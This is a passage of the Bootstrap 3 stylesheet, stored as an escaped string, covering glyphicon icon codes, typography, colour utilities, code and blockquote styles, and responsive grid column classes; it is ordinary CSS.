\"\\e039\";\n}\n.glyphicon-barcode:before {\n content: \"\\e040\";\n}\n.glyphicon-tag:before {\n content: \"\\e041\";\n}\n.glyphicon-tags:before {\n content: \"\\e042\";\n}\n.glyphicon-book:before {\n content: \"\\e043\";\n}\n.glyphicon-bookmark:before {\n content: \"\\e044\";\n}\n.glyphicon-print:before {\n content: \"\\e045\";\n}\n.glyphicon-camera:before {\n content: \"\\e046\";\n}\n.glyphicon-font:before {\n content: \"\\e047\";\n}\n.glyphicon-bold:before {\n content: \"\\e048\";\n}\n.glyphicon-italic:before {\n content: \"\\e049\";\n}\n.glyphicon-text-height:before {\n content: \"\\e050\";\n}\n.glyphicon-text-width:before {\n content: \"\\e051\";\n}\n.glyphicon-align-left:before {\n content: \"\\e052\";\n}\n.glyphicon-align-center:before {\n content: \"\\e053\";\n}\n.glyphicon-align-right:before {\n content: \"\\e054\";\n}\n.glyphicon-align-justify:before {\n content: \"\\e055\";\n}\n.glyphicon-list:before {\n content: \"\\e056\";\n}\n.glyphicon-indent-left:before {\n content: \"\\e057\";\n}\n.glyphicon-indent-right:before {\n content: \"\\e058\";\n}\n.glyphicon-facetime-video:before {\n content: \"\\e059\";\n}\n.glyphicon-picture:before {\n content: \"\\e060\";\n}\n.glyphicon-map-marker:before {\n content: \"\\e062\";\n}\n.glyphicon-adjust:before {\n content: \"\\e063\";\n}\n.glyphicon-tint:before {\n content: \"\\e064\";\n}\n.glyphicon-edit:before {\n content: \"\\e065\";\n}\n.glyphicon-share:before {\n content: \"\\e066\";\n}\n.glyphicon-check:before {\n content: \"\\e067\";\n}\n.glyphicon-move:before {\n content: \"\\e068\";\n}\n.glyphicon-step-backward:before {\n content: \"\\e069\";\n}\n.glyphicon-fast-backward:before {\n content: \"\\e070\";\n}\n.glyphicon-backward:before {\n content: \"\\e071\";\n}\n.glyphicon-play:before {\n content: \"\\e072\";\n}\n.glyphicon-pause:before {\n content: \"\\e073\";\n}\n.glyphicon-stop:before {\n content: \"\\e074\";\n}\n.glyphicon-forward:before {\n content: \"\\e075\";\n}\n.glyphicon-fast-forward:before {\n content: \"\\e076\";\n}\n.glyphicon-step-forward:before {\n content: \"\\e077\";\n}\n.glyphicon-eject:before {\n content: \"\\e078\";\n}\n.glyphicon-chevron-left:before {\n content: \"\\e079\";\n}\n.glyphicon-chevron-right:before {\n content: \"\\e080\";\n}\n.glyphicon-plus-sign:before {\n content: \"\\e081\";\n}\n.glyphicon-minus-sign:before {\n content: \"\\e082\";\n}\n.glyphicon-remove-sign:before {\n content: \"\\e083\";\n}\n.glyphicon-ok-sign:before {\n content: \"\\e084\";\n}\n.glyphicon-question-sign:before {\n content: \"\\e085\";\n}\n.glyphicon-info-sign:before {\n content: \"\\e086\";\n}\n.glyphicon-screenshot:before {\n content: \"\\e087\";\n}\n.glyphicon-remove-circle:before {\n content: \"\\e088\";\n}\n.glyphicon-ok-circle:before {\n content: \"\\e089\";\n}\n.glyphicon-ban-circle:before {\n content: \"\\e090\";\n}\n.glyphicon-arrow-left:before {\n content: \"\\e091\";\n}\n.glyphicon-arrow-right:before {\n content: \"\\e092\";\n}\n.glyphicon-arrow-up:before {\n content: \"\\e093\";\n}\n.glyphicon-arrow-down:before {\n content: \"\\e094\";\n}\n.glyphicon-share-alt:before {\n content: \"\\e095\";\n}\n.glyphicon-resize-full:before {\n content: \"\\e096\";\n}\n.glyphicon-resize-small:before {\n content: \"\\e097\";\n}\n.glyphicon-exclamation-sign:before {\n content: \"\\e101\";\n}\n.glyphicon-gift:before {\n content: \"\\e102\";\n}\n.glyphicon-leaf:before {\n content: \"\\e103\";\n}\n.glyphicon-fire:before {\n content: \"\\e104\";\n}\n.glyphicon-eye-open:before {\n content: \"\\e105\";\n}\n.glyphicon-eye-close:before {\n content: \"\\e106\";\n}\n.glyphicon-warning-sign:before {\n content: \"\\e107\";\n}\n.glyphicon-plane:before {\n content: \"\\e108\";\n}\n.glyphicon-calendar:before {\n content: \"\\e109\";\n}\n.glyphicon-random:before {\n content: \"\\e110\";\n}\n.glyphicon-comment:before {\n content: \"\\e111\";\n}\n.glyphicon-magnet:before {\n content: \"\\e112\";\n}\n.glyphicon-chevron-up:before {\n content: \"\\e113\";\n}\n.glyphicon-chevron-down:before {\n content: \"\\e114\";\n}\n.glyphicon-retweet:before {\n content: \"\\e115\";\n}\n.glyphicon-shopping-cart:before {\n content: \"\\e116\";\n}\n.glyphicon-folder-close:before {\n content: \"\\e117\";\n}\n.glyphicon-folder-open:before {\n content: \"\\e118\";\n}\n.glyphicon-resize-vertical:before {\n content: \"\\e119\";\n}\n.glyphicon-resize-horizontal:before {\n content: \"\\e120\";\n}\n.glyphicon-hdd:before {\n content: \"\\e121\";\n}\n.glyphicon-bullhorn:before {\n content: \"\\e122\";\n}\n.glyphicon-bell:before {\n content: \"\\e123\";\n}\n.glyphicon-certificate:before {\n content: \"\\e124\";\n}\n.glyphicon-thumbs-up:before {\n content: \"\\e125\";\n}\n.glyphicon-thumbs-down:before {\n content: \"\\e126\";\n}\n.glyphicon-hand-right:before {\n content: \"\\e127\";\n}\n.glyphicon-hand-left:before {\n content: \"\\e128\";\n}\n.glyphicon-hand-up:before {\n content: \"\\e129\";\n}\n.glyphicon-hand-down:before {\n content: \"\\e130\";\n}\n.glyphicon-circle-arrow-right:before {\n content: \"\\e131\";\n}\n.glyphicon-circle-arrow-left:before {\n content: \"\\e132\";\n}\n.glyphicon-circle-arrow-up:before {\n content: \"\\e133\";\n}\n.glyphicon-circle-arrow-down:before {\n content: \"\\e134\";\n}\n.glyphicon-globe:before {\n content: \"\\e135\";\n}\n.glyphicon-wrench:before {\n content: \"\\e136\";\n}\n.glyphicon-tasks:before {\n content: \"\\e137\";\n}\n.glyphicon-filter:before {\n content: \"\\e138\";\n}\n.glyphicon-briefcase:before {\n content: \"\\e139\";\n}\n.glyphicon-fullscreen:before {\n content: \"\\e140\";\n}\n.glyphicon-dashboard:before {\n content: \"\\e141\";\n}\n.glyphicon-paperclip:before {\n content: \"\\e142\";\n}\n.glyphicon-heart-empty:before {\n content: \"\\e143\";\n}\n.glyphicon-link:before {\n content: \"\\e144\";\n}\n.glyphicon-phone:before {\n content: \"\\e145\";\n}\n.glyphicon-pushpin:before {\n content: \"\\e146\";\n}\n.glyphicon-usd:before {\n content: \"\\e148\";\n}\n.glyphicon-gbp:before {\n content: \"\\e149\";\n}\n.glyphicon-sort:before {\n content: \"\\e150\";\n}\n.glyphicon-sort-by-alphabet:before {\n content: \"\\e151\";\n}\n.glyphicon-sort-by-alphabet-alt:before {\n content: \"\\e152\";\n}\n.glyphicon-sort-by-order:before {\n content: \"\\e153\";\n}\n.glyphicon-sort-by-order-alt:before {\n content: \"\\e154\";\n}\n.glyphicon-sort-by-attributes:before {\n content: \"\\e155\";\n}\n.glyphicon-sort-by-attributes-alt:before {\n content: \"\\e156\";\n}\n.glyphicon-unchecked:before {\n content: \"\\e157\";\n}\n.glyphicon-expand:before {\n content: \"\\e158\";\n}\n.glyphicon-collapse-down:before {\n content: \"\\e159\";\n}\n.glyphicon-collapse-up:before {\n content: \"\\e160\";\n}\n.glyphicon-log-in:before {\n content: \"\\e161\";\n}\n.glyphicon-flash:before {\n content: \"\\e162\";\n}\n.glyphicon-log-out:before {\n content: \"\\e163\";\n}\n.glyphicon-new-window:before {\n content: \"\\e164\";\n}\n.glyphicon-record:before {\n content: \"\\e165\";\n}\n.glyphicon-save:before {\n content: \"\\e166\";\n}\n.glyphicon-open:before {\n content: \"\\e167\";\n}\n.glyphicon-saved:before {\n content: \"\\e168\";\n}\n.glyphicon-import:before {\n content: \"\\e169\";\n}\n.glyphicon-export:before {\n content: \"\\e170\";\n}\n.glyphicon-send:before {\n content: \"\\e171\";\n}\n.glyphicon-floppy-disk:before {\n content: \"\\e172\";\n}\n.glyphicon-floppy-saved:before {\n content: \"\\e173\";\n}\n.glyphicon-floppy-remove:before {\n content: \"\\e174\";\n}\n.glyphicon-floppy-save:before {\n content: \"\\e175\";\n}\n.glyphicon-floppy-open:before {\n content: \"\\e176\";\n}\n.glyphicon-credit-card:before {\n content: \"\\e177\";\n}\n.glyphicon-transfer:before {\n content: \"\\e178\";\n}\n.glyphicon-cutlery:before {\n content: \"\\e179\";\n}\n.glyphicon-header:before {\n content: \"\\e180\";\n}\n.glyphicon-compressed:before {\n content: \"\\e181\";\n}\n.glyphicon-earphone:before {\n content: \"\\e182\";\n}\n.glyphicon-phone-alt:before {\n content: \"\\e183\";\n}\n.glyphicon-tower:before {\n content: \"\\e184\";\n}\n.glyphicon-stats:before {\n content: \"\\e185\";\n}\n.glyphicon-sd-video:before {\n content: \"\\e186\";\n}\n.glyphicon-hd-video:before {\n content: \"\\e187\";\n}\n.glyphicon-subtitles:before {\n content: \"\\e188\";\n}\n.glyphicon-sound-stereo:before {\n content: \"\\e189\";\n}\n.glyphicon-sound-dolby:before {\n content: \"\\e190\";\n}\n.glyphicon-sound-5-1:before {\n content: \"\\e191\";\n}\n.glyphicon-sound-6-1:before {\n content: \"\\e192\";\n}\n.glyphicon-sound-7-1:before {\n content: \"\\e193\";\n}\n.glyphicon-copyright-mark:before {\n content: \"\\e194\";\n}\n.glyphicon-registration-mark:before {\n content: \"\\e195\";\n}\n.glyphicon-cloud-download:before {\n content: \"\\e197\";\n}\n.glyphicon-cloud-upload:before {\n content: \"\\e198\";\n}\n.glyphicon-tree-conifer:before {\n content: \"\\e199\";\n}\n.glyphicon-tree-deciduous:before {\n content: \"\\e200\";\n}\n.glyphicon-cd:before {\n content: \"\\e201\";\n}\n.glyphicon-save-file:before {\n content: \"\\e202\";\n}\n.glyphicon-open-file:before {\n content: \"\\e203\";\n}\n.glyphicon-level-up:before {\n content: \"\\e204\";\n}\n.glyphicon-copy:before {\n content: \"\\e205\";\n}\n.glyphicon-paste:before {\n content: \"\\e206\";\n}\n.glyphicon-alert:before {\n content: \"\\e209\";\n}\n.glyphicon-equalizer:before {\n content: \"\\e210\";\n}\n.glyphicon-king:before {\n content: \"\\e211\";\n}\n.glyphicon-queen:before {\n content: \"\\e212\";\n}\n.glyphicon-pawn:before {\n content: \"\\e213\";\n}\n.glyphicon-bishop:before {\n content: \"\\e214\";\n}\n.glyphicon-knight:before {\n content: \"\\e215\";\n}\n.glyphicon-baby-formula:before {\n content: \"\\e216\";\n}\n.glyphicon-tent:before {\n content: \"\\26fa\";\n}\n.glyphicon-blackboard:before {\n content: \"\\e218\";\n}\n.glyphicon-bed:before {\n content: \"\\e219\";\n}\n.glyphicon-apple:before {\n content: \"\\f8ff\";\n}\n.glyphicon-erase:before {\n content: \"\\e221\";\n}\n.glyphicon-hourglass:before {\n content: \"\\231b\";\n}\n.glyphicon-lamp:before {\n content: \"\\e223\";\n}\n.glyphicon-duplicate:before {\n content: \"\\e224\";\n}\n.glyphicon-piggy-bank:before {\n content: \"\\e225\";\n}\n.glyphicon-scissors:before {\n content: \"\\e226\";\n}\n.glyphicon-bitcoin:before {\n content: \"\\e227\";\n}\n.glyphicon-btc:before {\n content: \"\\e227\";\n}\n.glyphicon-xbt:before {\n content: \"\\e227\";\n}\n.glyphicon-yen:before {\n content: \"\\00a5\";\n}\n.glyphicon-jpy:before {\n content: \"\\00a5\";\n}\n.glyphicon-ruble:before {\n content: \"\\20bd\";\n}\n.glyphicon-rub:before {\n content: \"\\20bd\";\n}\n.glyphicon-scale:before {\n content: \"\\e230\";\n}\n.glyphicon-ice-lolly:before {\n content: \"\\e231\";\n}\n.glyphicon-ice-lolly-tasted:before {\n content: \"\\e232\";\n}\n.glyphicon-education:before {\n content: \"\\e233\";\n}\n.glyphicon-option-horizontal:before {\n content: \"\\e234\";\n}\n.glyphicon-option-vertical:before {\n content: \"\\e235\";\n}\n.glyphicon-menu-hamburger:before {\n content: \"\\e236\";\n}\n.glyphicon-modal-window:before {\n content: \"\\e237\";\n}\n.glyphicon-oil:before {\n content: \"\\e238\";\n}\n.glyphicon-grain:before {\n content: \"\\e239\";\n}\n.glyphicon-sunglasses:before {\n content: \"\\e240\";\n}\n.glyphicon-text-size:before {\n content: \"\\e241\";\n}\n.glyphicon-text-color:before {\n content: \"\\e242\";\n}\n.glyphicon-text-background:before {\n content: \"\\e243\";\n}\n.glyphicon-object-align-top:before {\n content: \"\\e244\";\n}\n.glyphicon-object-align-bottom:before {\n content: \"\\e245\";\n}\n.glyphicon-object-align-horizontal:before {\n content: \"\\e246\";\n}\n.glyphicon-object-align-left:before {\n content: \"\\e247\";\n}\n.glyphicon-object-align-vertical:before {\n content: \"\\e248\";\n}\n.glyphicon-object-align-right:before {\n content: \"\\e249\";\n}\n.glyphicon-triangle-right:before {\n content: \"\\e250\";\n}\n.glyphicon-triangle-left:before {\n content: \"\\e251\";\n}\n.glyphicon-triangle-bottom:before {\n content: \"\\e252\";\n}\n.glyphicon-triangle-top:before {\n content: \"\\e253\";\n}\n.glyphicon-console:before {\n content: \"\\e254\";\n}\n.glyphicon-superscript:before {\n content: \"\\e255\";\n}\n.glyphicon-subscript:before {\n content: \"\\e256\";\n}\n.glyphicon-menu-left:before {\n content: \"\\e257\";\n}\n.glyphicon-menu-right:before {\n content: \"\\e258\";\n}\n.glyphicon-menu-down:before {\n content: \"\\e259\";\n}\n.glyphicon-menu-up:before {\n content: \"\\e260\";\n}\n* {\n -webkit-box-sizing: border-box;\n -moz-box-sizing: border-box;\n box-sizing: border-box;\n}\n*:before,\n*:after {\n -webkit-box-sizing: border-box;\n -moz-box-sizing: border-box;\n box-sizing: border-box;\n}\nhtml {\n font-size: 10px;\n -webkit-tap-highlight-color: rgba(0, 0, 0, 0);\n}\nbody {\n font-family: \"Helvetica Neue\", Helvetica, Arial, sans-serif;\n font-size: 14px;\n line-height: 1.42857143;\n color: #333333;\n background-color: #ffffff;\n}\ninput,\nbutton,\nselect,\ntextarea {\n font-family: inherit;\n font-size: inherit;\n line-height: inherit;\n}\na {\n color: #337ab7;\n text-decoration: none;\n}\na:hover,\na:focus {\n color: #23527c;\n text-decoration: underline;\n}\na:focus {\n outline: thin dotted;\n outline: 5px auto -webkit-focus-ring-color;\n outline-offset: -2px;\n}\nfigure {\n margin: 0;\n}\nimg {\n vertical-align: middle;\n}\n.img-responsive,\n.thumbnail > img,\n.thumbnail a > img,\n.carousel-inner > .item > img,\n.carousel-inner > .item > a > img {\n display: block;\n max-width: 100%;\n height: auto;\n}\n.img-rounded {\n border-radius: 6px;\n}\n.img-thumbnail {\n padding: 4px;\n line-height: 1.42857143;\n background-color: #ffffff;\n border: 1px solid #dddddd;\n border-radius: 4px;\n -webkit-transition: all 0.2s ease-in-out;\n -o-transition: all 0.2s ease-in-out;\n transition: all 0.2s ease-in-out;\n display: inline-block;\n max-width: 100%;\n height: auto;\n}\n.img-circle {\n border-radius: 50%;\n}\nhr {\n margin-top: 20px;\n margin-bottom: 20px;\n border: 0;\n border-top: 1px solid #eeeeee;\n}\n.sr-only {\n position: absolute;\n width: 1px;\n height: 1px;\n margin: -1px;\n padding: 0;\n overflow: hidden;\n clip: rect(0, 0, 0, 0);\n border: 0;\n}\n.sr-only-focusable:active,\n.sr-only-focusable:focus {\n position: static;\n width: auto;\n height: auto;\n margin: 0;\n overflow: visible;\n clip: auto;\n}\n[role=\"button\"] {\n cursor: pointer;\n}\nh1,\nh2,\nh3,\nh4,\nh5,\nh6,\n.h1,\n.h2,\n.h3,\n.h4,\n.h5,\n.h6 {\n font-family: inherit;\n font-weight: 500;\n line-height: 1.1;\n color: inherit;\n}\nh1 small,\nh2 small,\nh3 small,\nh4 small,\nh5 small,\nh6 small,\n.h1 small,\n.h2 small,\n.h3 small,\n.h4 small,\n.h5 small,\n.h6 small,\nh1 .small,\nh2 .small,\nh3 .small,\nh4 .small,\nh5 .small,\nh6 .small,\n.h1 .small,\n.h2 .small,\n.h3 .small,\n.h4 .small,\n.h5 .small,\n.h6 .small {\n font-weight: normal;\n line-height: 1;\n color: #777777;\n}\nh1,\n.h1,\nh2,\n.h2,\nh3,\n.h3 {\n margin-top: 20px;\n margin-bottom: 10px;\n}\nh1 small,\n.h1 small,\nh2 small,\n.h2 small,\nh3 small,\n.h3 small,\nh1 .small,\n.h1 .small,\nh2 .small,\n.h2 .small,\nh3 .small,\n.h3 .small {\n font-size: 65%;\n}\nh4,\n.h4,\nh5,\n.h5,\nh6,\n.h6 {\n margin-top: 10px;\n margin-bottom: 10px;\n}\nh4 small,\n.h4 small,\nh5 small,\n.h5 small,\nh6 small,\n.h6 small,\nh4 .small,\n.h4 .small,\nh5 .small,\n.h5 .small,\nh6 .small,\n.h6 .small {\n font-size: 75%;\n}\nh1,\n.h1 {\n font-size: 36px;\n}\nh2,\n.h2 {\n font-size: 30px;\n}\nh3,\n.h3 {\n font-size: 24px;\n}\nh4,\n.h4 {\n font-size: 18px;\n}\nh5,\n.h5 {\n font-size: 14px;\n}\nh6,\n.h6 {\n font-size: 12px;\n}\np {\n margin: 0 0 10px;\n}\n.lead {\n margin-bottom: 20px;\n font-size: 16px;\n font-weight: 300;\n line-height: 1.4;\n}\n@media (min-width: 768px) {\n .lead {\n font-size: 21px;\n }\n}\nsmall,\n.small {\n font-size: 85%;\n}\nmark,\n.mark {\n background-color: #fcf8e3;\n padding: .2em;\n}\n.text-left {\n text-align: left;\n}\n.text-right {\n text-align: right;\n}\n.text-center {\n text-align: center;\n}\n.text-justify {\n text-align: justify;\n}\n.text-nowrap {\n white-space: nowrap;\n}\n.text-lowercase {\n text-transform: lowercase;\n}\n.text-uppercase {\n text-transform: uppercase;\n}\n.text-capitalize {\n text-transform: capitalize;\n}\n.text-muted {\n color: #777777;\n}\n.text-primary {\n color: #337ab7;\n}\na.text-primary:hover,\na.text-primary:focus {\n color: #286090;\n}\n.text-success {\n color: #3c763d;\n}\na.text-success:hover,\na.text-success:focus {\n color: #2b542c;\n}\n.text-info {\n color: #31708f;\n}\na.text-info:hover,\na.text-info:focus {\n color: #245269;\n}\n.text-warning {\n color: #8a6d3b;\n}\na.text-warning:hover,\na.text-warning:focus {\n color: #66512c;\n}\n.text-danger {\n color: #a94442;\n}\na.text-danger:hover,\na.text-danger:focus {\n color: #843534;\n}\n.bg-primary {\n color: #fff;\n background-color: #337ab7;\n}\na.bg-primary:hover,\na.bg-primary:focus {\n background-color: #286090;\n}\n.bg-success {\n background-color: #dff0d8;\n}\na.bg-success:hover,\na.bg-success:focus {\n background-color: #c1e2b3;\n}\n.bg-info {\n background-color: #d9edf7;\n}\na.bg-info:hover,\na.bg-info:focus {\n background-color: #afd9ee;\n}\n.bg-warning {\n background-color: #fcf8e3;\n}\na.bg-warning:hover,\na.bg-warning:focus {\n background-color: #f7ecb5;\n}\n.bg-danger {\n background-color: #f2dede;\n}\na.bg-danger:hover,\na.bg-danger:focus {\n background-color: #e4b9b9;\n}\n.page-header {\n padding-bottom: 9px;\n margin: 40px 0 20px;\n border-bottom: 1px solid #eeeeee;\n}\nul,\nol {\n margin-top: 0;\n margin-bottom: 10px;\n}\nul ul,\nol ul,\nul ol,\nol ol {\n margin-bottom: 0;\n}\n.list-unstyled {\n padding-left: 0;\n list-style: none;\n}\n.list-inline {\n padding-left: 0;\n list-style: none;\n margin-left: -5px;\n}\n.list-inline > li {\n display: inline-block;\n padding-left: 5px;\n padding-right: 5px;\n}\ndl {\n margin-top: 0;\n margin-bottom: 20px;\n}\ndt,\ndd {\n line-height: 1.42857143;\n}\ndt {\n font-weight: bold;\n}\ndd {\n margin-left: 0;\n}\n@media (min-width: 768px) {\n .dl-horizontal dt {\n float: left;\n width: 160px;\n clear: left;\n text-align: right;\n overflow: hidden;\n text-overflow: ellipsis;\n white-space: nowrap;\n }\n .dl-horizontal dd {\n margin-left: 180px;\n }\n}\nabbr[title],\nabbr[data-original-title] {\n cursor: help;\n border-bottom: 1px dotted #777777;\n}\n.initialism {\n font-size: 90%;\n text-transform: uppercase;\n}\nblockquote {\n padding: 10px 20px;\n margin: 0 0 20px;\n font-size: 17.5px;\n border-left: 5px solid #eeeeee;\n}\nblockquote p:last-child,\nblockquote ul:last-child,\nblockquote ol:last-child {\n margin-bottom: 0;\n}\nblockquote footer,\nblockquote small,\nblockquote .small {\n display: block;\n font-size: 80%;\n line-height: 1.42857143;\n color: #777777;\n}\nblockquote footer:before,\nblockquote small:before,\nblockquote .small:before {\n content: '\\2014 \\00A0';\n}\n.blockquote-reverse,\nblockquote.pull-right {\n padding-right: 15px;\n padding-left: 0;\n border-right: 5px solid #eeeeee;\n border-left: 0;\n text-align: right;\n}\n.blockquote-reverse footer:before,\nblockquote.pull-right footer:before,\n.blockquote-reverse small:before,\nblockquote.pull-right small:before,\n.blockquote-reverse .small:before,\nblockquote.pull-right .small:before {\n content: '';\n}\n.blockquote-reverse footer:after,\nblockquote.pull-right footer:after,\n.blockquote-reverse small:after,\nblockquote.pull-right small:after,\n.blockquote-reverse .small:after,\nblockquote.pull-right .small:after {\n content: '\\00A0 \\2014';\n}\naddress {\n margin-bottom: 20px;\n font-style: normal;\n line-height: 1.42857143;\n}\ncode,\nkbd,\npre,\nsamp {\n font-family: Menlo, Monaco, Consolas, \"Courier New\", monospace;\n}\ncode {\n padding: 2px 4px;\n font-size: 90%;\n color: #c7254e;\n background-color: #f9f2f4;\n border-radius: 4px;\n}\nkbd {\n padding: 2px 4px;\n font-size: 90%;\n color: #ffffff;\n background-color: #333333;\n border-radius: 3px;\n box-shadow: inset 0 -1px 0 rgba(0, 0, 0, 0.25);\n}\nkbd kbd {\n padding: 0;\n font-size: 100%;\n font-weight: bold;\n box-shadow: none;\n}\npre {\n display: block;\n padding: 9.5px;\n margin: 0 0 10px;\n font-size: 13px;\n line-height: 1.42857143;\n word-break: break-all;\n word-wrap: break-word;\n color: #333333;\n background-color: #f5f5f5;\n border: 1px solid #cccccc;\n border-radius: 4px;\n}\npre code {\n padding: 0;\n font-size: inherit;\n color: inherit;\n white-space: pre-wrap;\n background-color: transparent;\n border-radius: 0;\n}\n.pre-scrollable {\n max-height: 340px;\n overflow-y: scroll;\n}\n.container {\n margin-right: auto;\n margin-left: auto;\n padding-left: 15px;\n padding-right: 15px;\n}\n@media (min-width: 768px) {\n .container {\n width: 750px;\n }\n}\n@media (min-width: 992px) {\n .container {\n width: 970px;\n }\n}\n@media (min-width: 1200px) {\n .container {\n width: 1170px;\n }\n}\n.container-fluid {\n margin-right: auto;\n margin-left: auto;\n padding-left: 15px;\n padding-right: 15px;\n}\n.row {\n margin-left: -15px;\n margin-right: -15px;\n}\n.col-xs-1, .col-sm-1, .col-md-1, .col-lg-1, .col-xs-2, .col-sm-2, .col-md-2, .col-lg-2, .col-xs-3, .col-sm-3, .col-md-3, .col-lg-3, .col-xs-4, .col-sm-4, .col-md-4, .col-lg-4, .col-xs-5, .col-sm-5, .col-md-5, .col-lg-5, .col-xs-6, .col-sm-6, .col-md-6, .col-lg-6, .col-xs-7, .col-sm-7, .col-md-7, .col-lg-7, .col-xs-8, .col-sm-8, .col-md-8, .col-lg-8, .col-xs-9, .col-sm-9, .col-md-9, .col-lg-9, .col-xs-10, .col-sm-10, .col-md-10, .col-lg-10, .col-xs-11, .col-sm-11, .col-md-11, .col-lg-11, .col-xs-12, .col-sm-12, .col-md-12, .col-lg-12 {\n position: relative;\n min-height: 1px;\n padding-left: 15px;\n padding-right: 15px;\n}\n.col-xs-1, .col-xs-2, .col-xs-3, .col-xs-4, .col-xs-5, .col-xs-6, .col-xs-7, .col-xs-8, .col-xs-9, .col-xs-10, .col-xs-11, .col-xs-12 {\n float: left;\n}\n.col-xs-12 {\n width: 100%;\n}\n.col-xs-11 {\n width: 91.66666667%;\n}\n.col-xs-10 {\n width: 83.33333333%;\n}\n.col-xs-9 {\n width: 75%;\n}\n.col-xs-8 {\n width: 66.66666667%;\n}\n.col-xs-7 {\n width: 58.33333333%;\n}\n.col-xs-6 {\n width: 50%;\n}\n.col-xs-5 {\n width: 41.66666667%;\n}\n.col-xs-4 {\n width: 33.33333333%;\n}\n.col-xs-3 {\n width: 25%;\n}\n.col-xs-2 {\n width: 16.66666667%;\n}\n.col-xs-1 {\n width: 8.33333333%;\n}\n.col-xs-pull-12 {\n right: 100%;\n}\n.col-xs-pull-11 {\n right: 91.66666667%;\n}\n.col-xs-pull-10 {\n right: 83.33333333%;\n}\n.col-xs-pull-9 {\n right: 75%;\n}\n.col-xs-pull-8 {\n right: 66.66666667%;\n}\n.col-xs-pull-7 {\n right: 58.33333333%;\n}\n.col-xs-pull-6 {\n right: 50%;\n}\n.col-xs-pull-5 {\n right: 41.66666667%;\n}\n.col-xs-pull-4 {\n right: 33.33333333%;\n}\n.col-xs-pull-3 {\n right: 25%;\n}\n.col-xs-pull-2 {\n right: 16.66666667%;\n}\n.col-xs-pull-1 {\n right: 8.33333333%;\n}\n.col-xs-pull-0 {\n right: auto;\n}\n.col-xs-push-12 {\n left: 100%;\n}\n.col-xs-push-11 {\n left: 91.66666667%;\n}\n.col-xs-push-10 {\n left: 83.33333333%;\n}\n.col-xs-push-9 {\n left: 75%;\n}\n.col-xs-push-8 {\n left: 66.66666667%;\n}\n.col-xs-push-7 {\n left: 58.33333333%;\n}\n.col-xs-push-6 {\n left: 50%;\n}\n.col-xs-push-5 {\n left: 41.66666667%;\n}\n.col-xs-push-4 {\n left: 33.33333333%;\n}\n.col-xs-push-3 {\n left: 25%;\n}\n.col-xs-push-2 {\n left: 16.66666667%;\n}\n.col-xs-push-1 {\n left: 8.33333333%;\n}\n.col-xs-push-0 {\n left: auto;\n}\n.col-xs-offset-12 {\n margin-left: 100%;\n}\n.col-xs-offset-11 {\n margin-left: 91.66666667%;\n}\n.col-xs-offset-10 {\n margin-left: 83.33333333%;\n}\n.col-xs-offset-9 {\n margin-left: 75%;\n}\n.col-xs-offset-8 {\n margin-left: 66.66666667%;\n}\n.col-xs-offset-7 {\n margin-left: 58.33333333%;\n}\n.col-xs-offset-6 {\n margin-left: 50%;\n}\n.col-xs-offset-5 {\n margin-left: 41.66666667%;\n}\n.col-xs-offset-4 {\n margin-left: 33.33333333%;\n}\n.col-xs-offset-3 {\n margin-left: 25%;\n}\n.col-xs-offset-2 {\n margin-left: 16.66666667%;\n}\n.col-xs-offset-1 {\n margin-left: 8.33333333%;\n}\n.col-xs-offset-0 {\n margin-left: 0%;\n}\n@media (min-width: 768px) {\n .col-sm-1, .col-sm-2, .col-sm-3, .col-sm-4, .col-sm-5, .col-sm-6, .col-sm-7, .col-sm-8, .col-sm-9, .col-sm-10, .col-sm-11, .col-sm-12 {\n float: left;\n }\n .col-sm-12 {\n width: 100%;\n }\n .col-sm-11 {\n width: 91.66666667%;\n }\n .col-sm-10 {\n width: 83.33333333%;\n }\n .col-sm-9 {\n width: 75%;\n }\n .col-sm-8 {\n width: 66.66666667%;\n }\n .col-sm-7 {\n width: 58.33333333%;\n }\n .col-sm-6 {\n width: 50%;\n }\n .col-sm-5 {\n width: 41.66666667%;\n }\n .col-sm-4 {\n width: 33.33333333%;\n }\n .col-sm-3 {\n width: 25%;\n }\n .col-sm-2 {\n width: 16.66666667%;\n }\n .col-sm-1 {\n width: 8.33333333%;\n }\n .col-sm-pull-12 {\n right: 100%;\n }\n .col-sm-pull-11 {\n right: 91.66666667%;\n }\n .col-sm-pull-10 {\n right: 83.33333333%;\n }\n .col-sm-pull-9 {\n right: 75%;\n }\n .col-sm-pull-8 {\n right: 66.66666667%;\n }\n .col-sm-pull-7 {\n right: 58.33333333%;\n }\n .col-sm-pull-6 {\n right: 50%;\n }\n .col-sm-pull-5 {\n right: 41.66666667%;\n }\n .col-sm-pull-4 {\n right: 33.33333333%;\n }\n .col-sm-pull-3 {\n right: 25%;\n }\n .col-sm-pull-2 {\n right: 16.66666667%;\n }\n .col-sm-pull-1 {\n right: 8.33333333%;\n }\n .col-sm-pull-0 {\n right: auto;\n }\n .col-sm-push-12 {\n left: 100%;\n }\n .col-sm-push-11 {\n left: 91.66666667%;\n }\n .col-sm-push-10 {\n left: 83.33333333%;\n }\n .col-sm-push-9 {\n left: 75%;\n }\n .col-sm-push-8 {\n left: 66.66666667%;\n }\n .col-sm-push-7 {\n left: 58.33333333%;\n }\n .col-sm-push-6 {\n left: 50%;\n }\n .col-sm-push-5 {\n left: 41.66666667%;\n }\n .col-sm-push-4 {\n left: 33.33333333%;\n }\n .col-sm-push-3 {\n left: 25%;\n }\n .col-sm-push-2 {\n left: 16.66666667%;\n }\n .col-sm-push-1 {\n left: 8.33333333%;\n }\n .col-sm-push-0 {\n left: auto;\n }\n .col-sm-offset-12 {\n margin-left: 100%;\n }\n .col-sm-offset-11 {\n margin-left: 91.66666667%;\n }\n .col-sm-offset-10 {\n margin-left: 83.33333333%;\n }\n .col-sm-offset-9 {\n margin-left: 75%;\n }\n .col-sm-offset-8 {\n margin-left: 66.66666667%;\n }\n .col-sm-offset-7 {\n margin-left: 58.33333333%;\n }\n .col-sm-offset-6 {\n margin-left: 50%;\n }\n .col-sm-offset-5 {\n margin-left: 41.66666667%;\n }\n .col-sm-offset-4 {\n margin-left: 33.33333333%;\n }\n .col-sm-offset-3 {\n margin-left: 25%;\n }\n .col-sm-offset-2 {\n margin-left: 16.66666667%;\n }\n .col-sm-offset-1 {\n margin-left: 8.33333333%;\n }\n .col-sm-offset-0 {\n margin-left: 0%;\n }\n}\n@media (min-width: 992px) {\n .col-md-1, .col-md-2, .col-md-3, .col-md-4, .col-md-5, .col-md-6, .col-md-7, .col-md-8, .col-md-9, .col-md-10, .col-md-11, .col-md-12 {\n float: left;\n }\n .col-md-12 {\n width: 100%;\n }\n .col-md-11 {\n width: 91.66666667%;\n }\n .col-md-10 {\n width: 83.33333333%;\n }\n .col-md-9 {\n width: 75%;\n }\n .col-md-8 {\n width: 